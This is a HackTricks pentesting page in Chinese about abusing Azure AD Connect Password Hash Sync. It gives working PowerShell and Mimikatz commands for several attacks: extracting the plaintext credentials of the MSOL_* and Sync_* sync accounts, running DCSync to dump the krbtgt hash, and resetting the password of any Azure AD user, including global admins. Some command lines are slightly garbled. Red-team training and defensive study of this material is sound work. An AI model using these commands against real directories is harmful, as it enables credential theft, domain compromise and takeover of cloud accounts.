Az - PHS - Password Hash Sync

支持 HackTricks

基本信息

来自文档: 密码哈希同步 是实现混合身份的一种登录方法。Azure AD Connect 将用户密码的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。

这是公司用来将本地 AD 与 Azure AD 同步的 最常见方法

所有 用户密码哈希的哈希 都从本地同步到 Azure AD。然而,明文密码原始 哈希 不会发送到 Azure AD。 此外,内置 安全组(如域管理员等)不会 同步 到 Azure AD。

哈希同步2 分钟 发生一次。然而,默认情况下,密码过期账户 过期 在 Azure AD 中 不同步。因此,本地密码过期(未更改)的用户可以继续使用旧密码 访问 Azure 资源

当本地用户想要访问 Azure 资源时,身份验证在 Azure AD 上进行

PHS身份保护 和 AAD 域服务等功能所必需的。

侧向移动

当配置 PHS 时,一些 特权账户 会自动 创建

  • 账户 MSOL_<installationID> 会在本地 AD 中自动创建。该账户被赋予 目录同步账户 角色(见 文档),这意味着它在本地 AD 中具有 复制 (DCSync) 权限

  • 账户 Sync_<name of on-prem ADConnect Server>_installationID 会在 Azure AD 中创建。该账户可以 重置 Azure AD 中任何用户(同步或仅云)的密码。

这两个特权账户的密码 存储在 SQL 服务器 上,该服务器是 Azure AD Connect 安装的服务器。管理员可以提取这些特权用户的明文密码。 数据库位于 C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

可以从其中一个表中提取配置,其中一个是加密的:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

加密配置 是用 DPAPI 加密的,它包含本地 AD 中 MSOL_* 用户的 密码 和 AzureAD 中 Sync_* 的密码。因此,妥协这些信息可以提升到 AD 和 AzureAD 的权限。

您可以在此演讲中找到 关于这些凭据如何存储和解密的完整概述

查找 Azure AD Connect 服务器

如果 安装 Azure AD Connect 的服务器 加入了域(文档中推荐),可以通过以下方式找到它:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

滥用 MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

您还可以使用 adconnectdump 来获取这些凭据。

滥用 Sync_*

妥协 Sync_* 账户可以 重置任何用户的密码(包括全局管理员)。

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

也可以仅修改云用户的密码(即使这出乎意料)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

可以转储该用户的密码。

另一个选项是为服务主体分配特权权限,而Sync用户有权限这样做,然后访问该服务主体作为特权提升的方法。

无缝单点登录

可以使用PHS进行无缝单点登录,但它容易受到其他滥用。请查看:

Az - Seamless SSO

参考文献

支持HackTricks

Last updated